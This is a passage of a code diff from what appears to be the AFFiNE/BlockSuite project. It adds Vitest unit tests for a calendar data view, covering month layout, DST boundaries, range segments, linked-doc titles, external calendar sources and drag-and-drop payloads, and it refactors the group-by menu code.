+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(
+      layout.days.find(item => item.date === day('2026-05-15'))?.entries
+    ).toEqual([entry]);
+  });
+
+  it('treats row midnight end date as inclusive', () => {
+    const entry = {
+      kind: 'row',
+      id: 'database:row-1',
+      sourceId: 'database',
+      rowId: 'row-1',
+      title: 'Task',
+      startAt: day('2026-05-15'),
+      endAt: day('2026-05-16'),
+      cardProperties: [],
+      canResizeRange: true,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments).toMatchObject([
+      { weekIndex: 2, startIndex: 5, span: 2 },
+    ]);
+  });
+
+  it('clips range entries to visible month range', () => {
+    const entry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'workspace-calendar',
+      externalId: '1',
+      title: 'Long trip',
+      startAt: day('2026-04-01'),
+      endAt: day('2026-06-30'),
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments[0]).toMatchObject({
+      weekIndex: 0,
+      startIndex: 0,
+      span: 7,
+    });
+    expect(layout.segments.at(-1)).toMatchObject({
+      weekIndex: layout.weeks.length - 1,
+      startIndex: 0,
+      span: 7,
+    });
+  });
+
+  it('pads month view to full weeks', () => {
+    const range = getCalendarVisibleMonthRange(day('2026-05-01'));
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [],
+    });
+
+    expect(new Date(range.from).getDay()).toBe(0);
+    expect(new Date(range.to).getDay()).toBe(6);
+    expect(layout.days).toHaveLength(layout.weeks.length * 7);
+  });
+
+  it('keeps day buckets on local midnight across DST boundaries', () => {
+    const entry = {
+      kind: 'row',
+      id: 'database:row-1',
+      sourceId: 'database',
+      rowId: 'row-1',
+      title: 'DST task',
+      startAt: day('2026-03-09'),
+      cardProperties: [],
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-03-01'),
+      entries: [entry],
+    });
+
+    expect(
+      layout.days.every(item => {
+        const date = new Date(item.date);
+        return (
+          date.getHours() === 0 &&
+          date.getMinutes() === 0 &&
+          date.getSeconds() === 0 &&
+          date.getMilliseconds() === 0
+        );
+      })
+    ).toBe(true);
+    expect(
+      layout.days.find(item => item.date === day('2026-03-09'))?.entries
+    ).toEqual([entry]);
+  });
+
+  it('keeps range segment offsets across DST boundaries', () => {
+    const entry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'workspace-calendar',
+      externalId: '1',
+      title: 'DST range',
+      startAt: day('2026-03-09'),
+      endAt: new Date('2026-03-10T12:00:00').getTime(),
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-03-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments).toMatchObject([
+      { weekIndex: 1, startIndex: 1, span: 2 },
+    ]);
+  });
+
+  it('keeps all same-day entries in the day bucket', () => {
+    const entries = Array.from(
+      { length: 4 },
+      (_, index) =>
+        ({
+          kind: 'row',
+          id: `database:row-${index}`,
+          sourceId: 'database',
+          rowId: `row-${index}`,
+          title: `Task ${index}`,
+          startAt: day('2026-05-15'),
+          cardProperties: [],
+          canResizeRange: false,
+        }) satisfies CalendarEntry
+    );
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries,
+    });
+
+    expect(
+      layout.days.find(item => item.date === day('2026-05-15'))?.entries
+    ).toHaveLength(4);
+  });
+
+  it('assigns each overlapping range segment to its own slot', () => {
+    const entries: CalendarEntry[] = [
+      ...Array.from(
+        { length: 3 },
+        (_, index) =>
+          ({
+            kind: 'external',
+            id: `external:full-${index}`,
+            sourceId: 'workspace-calendar',
+            externalId: `full-${index}`,
+            title: `Full ${index}`,
+            startAt: day('2026-05-15'),
+            endAt: new Date('2026-05-17T12:00:00').getTime(),
+            canResizeRange: false,
+          }) as const
+      ),
+      {
+        kind: 'external',
+        id: 'external:short',
+        sourceId: 'workspace-calendar',
+        externalId: 'short',
+        title: 'Short',
+        startAt: day('2026-05-18'),
+        endAt: new Date('2026-05-19T12:00:00').getTime(),
+        canResizeRange: false,
+      },
+    ];
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries,
+    });
+    const may15 = layout.days.find(item => item.date === day('2026-05-15'))!;
+    const may18 = layout.days.find(item => item.date === day('2026-05-18'))!;
+
+    expect(getCalendarDayContentSlots(may15)).toBe(3);
+    expect(may15.segments.map(segment => segment.slot)).toEqual([0, 1, 2]);
+    expect(getCalendarDayContentSlots(may18)).toBe(1);
+    expect(may18.segments.map(segment => segment.slot)).toEqual([0]);
+  });
+
+  it('counts segment and same-day slots for drag preview placement', () => {
+    const entries: CalendarEntry[] = [
+      ...Array.from(
+        { length: 3 },
+        (_, index) =>
+          ({
+            kind: 'external',
+            id: `external:range-${index}`,
+            sourceId: 'workspace-calendar',
+            externalId: `range-${index}`,
+            title: `Range ${index}`,
+            startAt: day('2026-05-08'),
+            endAt: new Date('2026-05-09T12:00:00').getTime(),
+            canResizeRange: false,
+          }) as const
+      ),
+      {
+        kind: 'row',
+        id: 'database:moving',
+        sourceId: 'database',
+        rowId: 'moving',
+        title: 'Moving',
+        startAt: day('2026-05-06'),
+        endAt: new Date('2026-05-08T12:00:00').getTime(),
+        cardProperties: [],
+        canResizeRange: true,
+      },
+      {
+        kind: 'row',
+        id: 'database:single',
+        sourceId: 'database',
+        rowId: 'single',
+        title: 'Single',
+        startAt: day('2026-05-08'),
+        cardProperties: [],
+        canResizeRange: false,
+      },
+    ];
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries,
+    });
+    const may8 = layout.days.find(item => item.date === day('2026-05-08'))!;
+
+    expect(getCalendarDayContentSlots(may8, 'database:moving')).toBe(4);
+  });
+
+  it('splits row range entries across weeks with continuation metadata', () => {
+    const entry = {
+      kind: 'row',
+      id: 'database:row-1',
+      sourceId: 'database',
+      rowId: 'row-1',
+      title: 'Project',
+      startAt: day('2026-05-09'),
+      endAt: new Date('2026-05-12T12:00:00').getTime(),
+      cardProperties: [],
+      canResizeRange: true,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments).toMatchObject([
+      {
+        weekIndex: 1,
+        startIndex: 6,
+        span: 1,
+        startsBeforeWeek: false,
+        endsAfterWeek: true,
+      },
+      {
+        weekIndex: 2,
+        startIndex: 0,
+        span: 3,
+        startsBeforeWeek: true,
+        endsAfterWeek: false,
+      },
+    ]);
+  });
+
+  it('skips range entries completely outside the visible month range', () => {
+    const entry = {
+      kind: 'external',
+      id: 'external:outside',
+      sourceId: 'workspace-calendar',
+      externalId: 'outside',
+      title: 'Outside',
+      startAt: day('2026-06-10'),
+      endAt: day('2026-06-12'),
+      canResizeRange: false,
+    } satisfies CalendarEntry;
+
+    const layout = createCalendarMonthLayout({
+      month: day('2026-05-01'),
+      entries: [entry],
+    });
+
+    expect(layout.segments).toEqual([]);
+    expect(layout.days.every(day => day.segments.length === 0)).toBe(true);
+  });
+});

blocksuite/affine/data-view/src/__tests__/calendar.unit.spec.ts

@@ -0,0 +1,812 @@
+import { DocDisplayMetaProvider } from '@blocksuite/affine-shared/services';
+import { signal } from '@preact/signals-core';
+import { describe, expect, it, vi } from 'vitest';
+
+import type { DataSource } from '../core/data-source/base.js';
+import {
+  CalendarSingleView,
+  type CalendarStoredViewData,
+  calendarViewModel,
+} from '../view-presets/calendar/index.js';
+import {
+  formatEntryTime,
+  openCalendarEntry,
+} from '../view-presets/calendar/pc/actions.js';
+import { getCalendarDndEntity } from '../view-presets/calendar/pc/dnd.js';
+import { viewConverts } from '../view-presets/convert.js';
+
+const day = (value: string) => new Date(`${value}T00:00:00`).getTime();
+
+const createCalendarView = (options?: {
+  startColumnId?: string;
+  endColumnId?: string;
+  datePropertyType?: string;
+  rows?: string[];
+  filterValue?: string;
+  titleValue?: unknown;
+  linkedDocTitles?: Record<string, string>;
+  visiblePropertyIds?: string[];
+  externalFactories?: Map<unknown, unknown>;
+}) => {
+  const rows = signal(options?.rows ?? ['row-1']);
+  const columns = signal(['title', 'date', 'end-date', 'status']);
+  const viewData = signal<CalendarStoredViewData>({
+    id: 'view-1',
+    name: 'Calendar',
+    mode: 'calendar',
+    filter: options?.filterValue
+      ? {
+          type: 'group',
+          op: 'and',
+          conditions: [
+            {
+              type: 'filter',
+              left: { type: 'ref', name: 'status' },
+              function: 'is',
+              args: [{ type: 'literal', value: options.filterValue }],
+            },
+          ],
+        }
+      : {
+          type: 'group',
+          op: 'and',
+          conditions: [],
+        },
+    date: {
+      startColumnId: options?.startColumnId,
+      endColumnId: options?.endColumnId,
+    },
+    card: {
+      titleColumnId: 'title',
+      visiblePropertyIds: options?.visiblePropertyIds ?? [],
+    },
+    sources: {
+      workspaceCalendar: {
+        enabled: true,
+      },
+    },
+  });
+  const values = new Map<string, unknown>([
+    ['row-1:date', day('2026-05-15')],
+    ['row-1:end-date', day('2026-05-17')],
+    ['row-1:status', 'Done'],
+    ['row-1:title', options?.titleValue ?? 'Task'],
+    ['row-2:date', day('2026-05-16')],
+    ['row-2:end-date', day('2026-05-14')],
+    ['row-2:status', 'Todo'],
+    ['row-2:title', 'Hidden'],
+  ]);
+  const types = new Map<string, string>([
+    ['title', 'title'],
+    ['date', options?.datePropertyType ?? 'date'],
+    ['end-date', 'date'],
+    ['status', 'text'],
+  ]);
+
+  const dataSource = {
+    rows$: rows,
+    properties$: columns,
+    readonly$: signal(false),
+    featureFlags$: signal({ enable_table_virtual_scroll: false }),
+    provider: {
+      getAll: () => options?.externalFactories ?? new Map(),
+    },
+    viewDataGet: () => viewData.value,
+    viewDataUpdate: (
+      _id: string,
+      updater: (data: CalendarStoredViewData) => Partial<CalendarStoredViewData>
+    ) => {
+      viewData.value = { ...viewData.value, ...updater(viewData.value) };
+    },
+    cellValueGet: (rowId: string, propertyId: string) =>
+      values.get(`${rowId}:${propertyId}`),
+    cellValueChange: (rowId: string, propertyId: string, value: unknown) => {
+      values.set(`${rowId}:${propertyId}`, value);
+    },
+    rowAdd: () => {
+      const rowId = `row-${rows.value.length + 1}`;
+      rows.value = [...rows.value, rowId];
+      return rowId;
+    },
+    propertyTypeGet: (propertyId: string) => types.get(propertyId),
+    propertyNameGet: (propertyId: string) => propertyId,
+    propertyDataGet: () => ({}),
+    propertyReadonlyGet: () => false,
+    serviceGet: (key: unknown) => {
+      if (key !== DocDisplayMetaProvider) {
+        return null;
+      }
+      return {
+        title: (pageId: string, referenceInfo?: { title?: string }) =>
+          signal(referenceInfo?.title ?? options?.linkedDocTitles?.[pageId]),
+      };
+    },
+    propertyMetaGet: (type: string) => ({
+      type,
+      config: {
+        rawValue: {
+          toJson: ({ value }: { value: unknown }) => {
+            const deltas =
+              typeof value === 'object' && value != null && 'deltas$' in value
+                ? (value as { deltas$?: { value?: unknown } }).deltas$?.value
+                : undefined;
+            if (!Array.isArray(deltas)) {
+              return value;
+            }
+            return deltas
+              .map(delta => {
+                const item = delta as {
+                  insert?: unknown;
+                  attributes?: {
+                    reference?: {
+                      type?: string;
+                      pageId?: unknown;
+                    };
+                  };
+                };
+                const pageId = item.attributes?.reference?.pageId;
+                if (
+                  item.attributes?.reference?.type === 'LinkedPage' &&
+                  typeof pageId === 'string'
+                ) {
+                  return (
+                    options?.linkedDocTitles?.[pageId] ?? item.insert ?? ''
+                  );
+                }
+                return item.insert ?? '';
+              })
+              .join('');
+          },
+          fromJson: ({ value }: { value: unknown }) => value,
+          toString: ({ value }: { value: unknown }) =>
+            typeof value === 'string' ? value : '',
+        },
+        jsonValue: {
+          schema: {
+            safeParse: (value: unknown) => ({ success: true, data: value }),
+          },
+          isEmpty: () => false,
+          type: () => undefined,
+        },
+      },
+      renderer: {},
+    }),
+    propertyAdd: () => {
+      columns.value = [...columns.value, 'created-date'];
+      types.set('created-date', 'date');
+      return 'created-date';
+    },
+    propertyCanDelete: () => true,
+    propertyCanDuplicate: () => true,
+    propertyTypeCanSet: () => true,
+  } as unknown as DataSource;
+  const manager = {
+    dataSource,
+    readonly$: signal(false),
+  };
+  return {
+    view: new CalendarSingleView(manager as any, 'view-1'),
+    viewData,
+    values,
+    types,
+    columns,
+  };
+};
+
+describe('CalendarSingleView', () => {
+  it('creates default view data without selecting a start date', () => {
+    const data = calendarViewModel.model.defaultData({
+      dataSource: {
+        properties$: signal(['title', 'date']),
+        propertyTypeGet: (id: string) => (id === 'title' ? 'title' : 'date'),
+      },
+    } as any);
+
+    expect(data.date).toEqual({});
+    expect(data.card).toEqual({
+      titleColumnId: 'title',
+      visiblePropertyIds: [],
+    });
+  });
+
+  it('enters setup state without a start date property', () => {
+    const { view } = createCalendarView();
+
+    expect(view.dateMapping$.value.status).toBe('setup');
+  });
+
+  it('enters setup state when start date column is not date', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      datePropertyType: 'text',
+    });
+
+    expect(view.dateMapping$.value.status).toBe('setup');
+  });
+
+  it('enters setup state after date property deletion', () => {
+    const { view, columns } = createCalendarView({ startColumnId: 'date' });
+
+    columns.value = ['title', 'status'];
+
+    expect(view.dateMapping$.value.status).toBe('setup');
+  });
+
+  it('creates row entries after filtering rows', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      rows: ['row-1', 'row-2'],
+      filterValue: 'Done',
+    });
+
+    expect(view.rowEntries$.value.map(entry => entry.rowId)).toEqual(['row-1']);
+  });
+
+  it('updates entry date after row date value changes', () => {
+    const { view, values } = createCalendarView({ startColumnId: 'date' });
+
+    values.set('row-1:date', day('2026-05-20'));
+
+    expect(view.rowEntries$.value[0]?.startAt).toBe(day('2026-05-20'));
+  });
+
+  it('creates row range entries and falls back when end date is invalid', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      endColumnId: 'end-date',
+      rows: ['row-1', 'row-2'],
+    });
+
+    expect(
+      view.rowEntries$.value.map(entry => [
+        entry.rowId,
+        entry.startAt,
+        entry.endAt,
+      ])
+    ).toEqual([
+      ['row-1', day('2026-05-15'), day('2026-05-17')],
+      ['row-2', day('2026-05-16'), undefined],
+    ]);
+    expect(view.rowEntries$.value[0]?.canResizeRange).toBe(true);
+  });
+
+  it('moves row range while preserving duration', () => {
+    const { view, values } = createCalendarView({
+      startColumnId: 'date',
+      endColumnId: 'end-date',
+    });
+
+    view.moveRowToDate('row-1', day('2026-05-20'));
+
+    expect(values.get('row-1:date')).toBe(day('2026-05-20'));
+    expect(values.get('row-1:end-date')).toBe(day('2026-05-22'));
+  });
+
+  it('resizes row range without crossing start and end', () => {
+    const { view, values } = createCalendarView({
+      startColumnId: 'date',
+      endColumnId: 'end-date',
+    });
+
+    view.resizeRowRange('row-1', 'start', day('2026-05-18'));
+    expect(values.get('row-1:date')).toBe(day('2026-05-17'));
+
+    view.resizeRowRange('row-1', 'end', day('2026-05-14'));
+    expect(values.get('row-1:end-date')).toBe(day('2026-05-17'));
+  });
+
+  it('creates a row with default filter values and target date', () => {
+    const { view, values } = createCalendarView({
+      startColumnId: 'date',
+      filterValue: 'Done',
+    });
+
+    const rowId = view.createRowOnDate(day('2026-05-25'));
+
+    expect(rowId).toBe('row-2');
+    expect(values.get('row-2:date')).toBe(day('2026-05-25'));
+    expect(values.get('row-2:status')).toBe('Done');
+    expect(view.emptyMonthHintDismissed$.value).toBe(true);
+  });
+
+  it('creates a dated linked-doc row', () => {
+    const { view, values } = createCalendarView({
+      startColumnId: 'date',
+      filterValue: 'Done',
+    });
+
+    const rowId = view.createLinkedDocRowOnDate(day('2026-05-25'), 'doc-1');
+    const title = values.get('row-2:title') as
+      | { toDelta?: () => unknown[] }
+      | undefined;
+
+    expect(rowId).toBe('row-2');
+    expect(values.get('row-2:date')).toBe(day('2026-05-25'));
+    expect(values.get('row-2:status')).toBe('Done');
+    expect(title?.toDelta?.()).toEqual([
+      {
+        insert: ' ',
+        attributes: {
+          reference: {
+            type: 'LinkedPage',
+            pageId: 'doc-1',
+          },
+        },
+      },
+    ]);
+  });
+
+  it('dismisses the empty month hint on the current calendar view', () => {
+    const { view, viewData } = createCalendarView({
+      startColumnId: 'date',
+    });
+
+    expect(view.emptyMonthHintDismissed$.value).toBe(false);
+
+    view.dismissEmptyMonthHint();
+
+    expect(view.emptyMonthHintDismissed$.value).toBe(true);
+    expect('ui' in viewData.value && viewData.value.ui).toEqual({
+      emptyMonthHintDismissed: true,
+    });
+  });
+
+  it('updates workspace calendar settings when legacy view data has no sources', () => {
+    const { view, viewData } = createCalendarView({
+      startColumnId: 'date',
+    });
+    viewData.value = {
+      ...viewData.value,
+      sources: undefined as unknown as CalendarStoredViewData['sources'],
+    };
+
+    view.setWorkspaceCalendarEnabled(false);
+
+    expect(viewData.value.sources.workspaceCalendar).toEqual({
+      enabled: false,
+    });
+  });
+
+  it('enters setup state when legacy view data has no date config', () => {
+    const { view, viewData } = createCalendarView({
+      startColumnId: 'date',
+      endColumnId: 'end-date',
+    });
+    viewData.value = {
+      ...viewData.value,
+      date: undefined as unknown as CalendarStoredViewData['date'],
+    };
+
+    expect(view.dateMapping$.value).toEqual({
+      status: 'setup',
+      propertyId: undefined,
+    });
+    expect(view.endDateMapping$.value).toEqual({
+      status: 'setup',
+      propertyId: undefined,
+    });
+  });
+
+  it('generates card properties from visible property ids', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      visiblePropertyIds: ['status'],
+    });
+
+    expect(view.rowEntries$.value[0]?.cardProperties).toEqual([
+      {
+        propertyId: 'status',
+        value: 'Done',
+      },
+    ]);
+  });
+
+  it('parses single linked doc id from title cell', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      linkedDocTitles: {
+        'doc-1': 'Linked doc title',
+      },
+      titleValue: {
+        deltas$: {
+          value: [
+            {
+              insert: 'Doc',
+              attributes: {
+                reference: {
+                  type: 'LinkedPage',
+                  pageId: 'doc-1',
+                },
+              },
+            },
+          ],
+        },
+      },
+    });
+
+    expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
+      { text: 'Linked doc title', linkedDoc: true },
+    ]);
+    expect(view.rowEntries$.value[0]?.title).toBe('Linked doc title');
+  });
+
+  it('uses normal title text for multiple linked doc titles', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      linkedDocTitles: {
+        'doc-1': 'Doc 1',
+        'doc-2': 'Doc 2',
+      },
+      titleValue: {
+        deltas$: {
+          value: [
+            {
+              insert: 'Doc 1',
+              attributes: {
+                reference: {
+                  type: 'LinkedPage',
+                  pageId: 'doc-1',
+                },
+              },
+            },
+            {
+              insert: 'Doc 2',
+              attributes: {
+                reference: {
+                  type: 'LinkedPage',
+                  pageId: 'doc-2',
+                },
+              },
+            },
+          ],
+        },
+      },
+    });
+
+    expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
+      { text: 'Doc 1', linkedDoc: true },
+      { text: 'Doc 2', linkedDoc: true },
+    ]);
+    expect(view.rowEntries$.value[0]?.title).toBe('Doc 1Doc 2');
+  });
+
+  it('falls back to the resolved title when linked doc deltas only contain placeholders', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      linkedDocTitles: {
+        'doc-1': 'Doc 1',
+        'doc-2': 'Doc 2',
+      },
+      titleValue: {
+        deltas$: {
+          value: [
+            {
+              insert: ' ',
+              attributes: {
+                reference: {
+                  type: 'LinkedPage',
+                  pageId: 'doc-1',
+                },
+              },
+            },
+            {
+              insert: ' ',
+              attributes: {
+                reference: {
+                  type: 'LinkedPage',
+                  pageId: 'doc-2',
+                },
+              },
+            },
+          ],
+        },
+      },
+    });
+
+    expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
+      { text: 'Doc 1', linkedDoc: true },
+      { text: 'Doc 2', linkedDoc: true },
+    ]);
+  });
+
+  it('merges linked doc placeholders with the following plain title text', () => {
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      titleValue: {
+        deltas$: {
+          value: [
+            {
+              insert: ' ',
+              attributes: {
+                reference: { type: 'LinkedPage', pageId: 'doc-1' },
+              },
+            },
+            { insert: 'How to use folder and Tags' },
+          ],
+        },
+      },
+    });
+
+    expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
+      { text: 'How to use folder and Tags', linkedDoc: true },
+    ]);
+  });
+
+  it('updates date mapping through setup APIs', () => {
+    const { view, viewData, values } = createCalendarView({
+      startColumnId: 'date',
+    });
+
+    view.moveRowToDate('row-1', day('2026-05-21'));
+    expect(values.get('row-1:date')).toBe(day('2026-05-21'));
+
+    view.setDateColumn('date');
+    expect('date' in viewData.value && viewData.value.date.startColumnId).toBe(
+      'date'
+    );
+
+    expect(view.createDateColumn()).toBe('created-date');
+    expect('date' in viewData.value && viewData.value.date.startColumnId).toBe(
+      'created-date'
+    );
+  });
+
+  it('aggregates external source entries without mutating view data', async () => {
+    const externalEntry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'source',
+      externalId: '1',
+      title: 'External',
+      startAt: day('2026-05-15'),
+      canResizeRange: false,
+    } as const;
+    const anotherExternalEntry = {
+      kind: 'external',
+      id: 'external:2',
+      sourceId: 'another-source',
+      externalId: '2',
+      title: 'Another external',
+      startAt: day('2026-05-16'),
+      canResizeRange: false,
+    } as const;
+    const { view, viewData } = createCalendarView({
+      startColumnId: 'date',
+      externalFactories: new Map([
+        [
+          'source',
+          {
+            create: () => ({
+              id: 'source',
+              getEntries: () => [externalEntry],
+            }),
+          },
+        ],
+        [
+          'another-source',
+          {
+            create: () => ({
+              id: 'another-source',
+              getEntries: () => Promise.resolve([anotherExternalEntry]),
+            }),
+          },
+        ],
+      ]),
+    });
+    const viewDataBefore = JSON.stringify(viewData.value);
+
+    await expect(
+      view.loadExternalEntries({
+        from: day('2026-05-01'),
+        to: day('2026-05-31'),
+      })
+    ).resolves.toEqual([externalEntry, anotherExternalEntry]);
+    expect(JSON.stringify(viewData.value)).toBe(viewDataBefore);
+  });
+
+  it('keeps successful external entries when another source fails', async () => {
+    const externalEntry = {
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'source',
+      externalId: '1',
+      title: 'External',
+      startAt: day('2026-05-15'),
+      canResizeRange: false,
+    } as const;
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      externalFactories: new Map([
+        [
+          'source',
+          {
+            create: () => ({
+              id: 'source',
+              getEntries: () => [externalEntry],
+            }),
+          },
+        ],
+        [
+          'failing-source',
+          {
+            create: () => ({
+              id: 'failing-source',
+              getEntries: () => Promise.reject(new Error('denied')),
+            }),
+          },
+        ],
+      ]),
+    });
+
+    await expect(
+      view.loadExternalEntries({
+        from: day('2026-05-01'),
+        to: day('2026-05-31'),
+      })
+    ).resolves.toEqual([externalEntry]);
+  });
+
+  it('does not let stale external entry loads overwrite newer entries', async () => {
+    const oldEntry = {
+      kind: 'external',
+      id: 'external:old',
+      sourceId: 'source',
+      externalId: 'old',
+      title: 'Old',
+      startAt: day('2026-05-15'),
+      canResizeRange: false,
+    } as const;
+    const newEntry = {
+      kind: 'external',
+      id: 'external:new',
+      sourceId: 'source',
+      externalId: 'new',
+      title: 'New',
+      startAt: day('2026-06-15'),
+      canResizeRange: false,
+    } as const;
+    let resolveOld!: (entries: [typeof oldEntry]) => void;
+    let resolveNew!: (entries: [typeof newEntry]) => void;
+    const oldRequest = new Promise<[typeof oldEntry]>(resolve => {
+      resolveOld = resolve;
+    });
+    const newRequest = new Promise<[typeof newEntry]>(resolve => {
+      resolveNew = resolve;
+    });
+    const getEntries = vi
+      .fn()
+      .mockReturnValueOnce(oldRequest)
+      .mockReturnValueOnce(newRequest);
+    const { view } = createCalendarView({
+      startColumnId: 'date',
+      externalFactories: new Map([
+        [
+          'source',
+          {
+            create: () => ({
+              id: 'source',
+              getEntries,
+            }),
+          },
+        ],
+      ]),
+    });
+
+    const firstLoad = view.loadExternalEntries({
+      from: day('2026-05-01'),
+      to: day('2026-05-31'),
+    });
+    const secondLoad = view.loadExternalEntries({
+      from: day('2026-06-01'),
+      to: day('2026-06-30'),
+    });
+
+    resolveNew([newEntry]);
+    await expect(secondLoad).resolves.toEqual([newEntry]);
+    expect(
+      view.entries$.value.filter(entry => entry.kind === 'external')
+    ).toEqual([newEntry]);
+
+    resolveOld([oldEntry]);
+    await expect(firstLoad).resolves.toEqual([oldEntry]);
+    expect(
+      view.entries$.value.filter(entry => entry.kind === 'external')
+    ).toEqual([newEntry]);
+  });
+});
+
+describe('calendar entry actions', () => {
+  it('formats external event popover time ranges with end time', () => {
+    const label = formatEntryTime({
+      kind: 'external',
+      id: 'external:1',
+      sourceId: 'workspace-calendar',
+      externalId: '1',
+      title: 'Planning',
+      startAt: new Date('2026-05-15T10:00:00').getTime(),
+      endAt: new Date('2026-05-15T11:00:00').getTime(),
+      canResizeRange: false,
+    });
+
+    expect(label).toContain(' - ');
+    expect(label).toContain('2026');
+  });
+
+  it('opens row entries through the detail panel hook', () => {
+    const openDetailPanel = vi.fn();
+    const { view } = createCalendarView({ startColumnId: 'date' });
+    const target = {} as HTMLElement;
+
+    openCalendarEntry(
+      { openDetailPanel } as any,
+      view,
+      {
+        kind: 'row',
+        id: 'database:row-1',
+        sourceId: 'database',
+        rowId: 'row-1',
+        title: 'Doc',
+        startAt: day('2026-05-15'),
+        cardProperties: [],
+        canResizeRange: false,
+      },
+      target
+    );
+
+    expect(openDetailPanel).toHaveBeenCalledWith(
+      expect.objectContaining({ view, rowId: 'row-1' })
+    );
+  });
+});
+
+describe('calendar view converts', () => {
+  it('converts header/card semantics without date mapping', () => {
+    const tableToCalendar = viewConverts.find(
+      convert => convert.from === 'table' && convert.to === 'calendar'
+    );
+    const calendarToKanban = viewConverts.find(
+      convert => convert.from === 'calendar' && convert.to === 'kanban'
+    );
+    const filter = { type: 'group', op: 'and', conditions: [] } as const;
+    const sort = { columns: [] };
+    const header = { titleColumn: 'title' };
+
+    expect(tableToCalendar?.convert({ filter, sort, header } as any)).toEqual({
+      filter,
+      sort,
+      card: { titleColumnId: 'title', visiblePropertyIds: [] },
+    });
+    expect(
+      calendarToKanban?.convert({
+        filter,
+        sort,
+        card: { titleColumnId: 'title', visiblePropertyIds: ['status'] },
+        date: { startColumnId: 'date' },
+      } as any)
+    ).toEqual({ filter, sort, header });
+  });
+});
+
+describe('calendar dnd payload', () => {
+  it('reads calendar entry payloads from blocksuite dnd data', () => {
+    expect(
+      getCalendarDndEntity({
+        bsEntity: { type: 'calendar-entry', entryId: 'database:row-1' },
+      })
+    ).toEqual({ type: 'calendar-entry', entryId: 'database:row-1' });
+  });
+
+  it('normalizes affine doc entities for future document drops', () => {
+    expect(
+      getCalendarDndEntity({
+        entity: { type: 'doc', id: 'doc-1' },
+      })
+    ).toEqual({ type: 'doc', docId: 'doc-1' });
+  });
+
+  it('reads document payloads from blocksuite dnd data', () => {
+    expect(
+      getCalendarDndEntity({ bsEntity: { type: 'doc', docId: 'doc-1' } })
+    ).toEqual({ type: 'doc', docId: 'doc-1' });
+  });
+});

blocksuite/affine/data-view/src/core/data-view.ts

@@ -8,6 +8,7 @@ import { BlockSuiteError } from '@blocksuite/global/exceptions';
 import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
 import {
   type Clipboard,
+  type DndController,
   type EventName,
   ShadowlessElement,
   type UIEventHandler,
@@ -29,6 +30,7 @@ import type { DataViewWidget } from './widget/index.js';
 
 export type DataViewRendererConfig = {
   clipboard: Clipboard;
+  dnd?: DndController;
   onDrag?: (evt: MouseEvent, id: string) => () => void;
   notification: {
     toast: (message: string) => void;

blocksuite/affine/data-view/src/core/group-by/setting.ts

@@ -2,15 +2,10 @@ import {
   dropdownSubMenuMiddleware,
   menu,
   type MenuConfig,
-  type MenuOptions,
-  popMenu,
-  type PopupTarget,
 } from '@blocksuite/affine-components/context-menu';
 import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
 import { DeleteIcon, InvisibleIcon, ViewIcon } from '@blocksuite/icons/lit';
 import { ShadowlessElement } from '@blocksuite/std';
-import type { Middleware } from '@floating-ui/dom';
-import { autoPlacement, offset, shift } from '@floating-ui/dom';
 import { computed } from '@preact/signals-core';
 import { cssVarV2 } from '@toeverything/theme/v2';
 import { css, html, unsafeCSS } from 'lit';
@@ -260,188 +255,183 @@ export class GroupSetting extends SignalWatcher(
   @query('.group-sort-setting') accessor groupContainer!: HTMLElement;
 }
 
-export const selectGroupByProperty = (
+export const buildGroupSelectItems = (
   group: GroupTrait,
-  ops?: {
-    onSelect?: (id?: string) => void;
-    onClose?: () => void;
-    onBack?: () => void;
-  }
-): MenuOptions => {
+  onSelect: (id?: string) => void
+): MenuConfig[] => {
   const view = group.view;
-  return {
-    onClose: ops?.onClose,
-    title: { text: 'Group by', onBack: ops?.onBack, onClose: ops?.onClose },
-    items: [
-      menu.group({
-        items: view.propertiesRaw$.value
-          .filter(property => {
-            if (property.type$.value === 'title') {
-              return false;
-            }
-            if (view instanceof KanbanSingleView) {
-              return canGroupable(view.manager.dataSource, property.id);
-            }
-            const dataType = property.dataType$.value;
-            if (!dataType) {
-              return false;
-            }
-            const groupByService = getGroupByService(view.manager.dataSource);
-            return !!groupByService?.matcher.match(dataType);
-          })
-          .map<MenuConfig>(property => {
-            return menu.action({
-              name: property.name$.value,
-              isSelected: group.property$.value?.id === property.id,
-              prefix: html` <uni-lit .uni="${property.icon}"></uni-lit>`,
-              select: () => {
-                group.changeGroup(property.id);
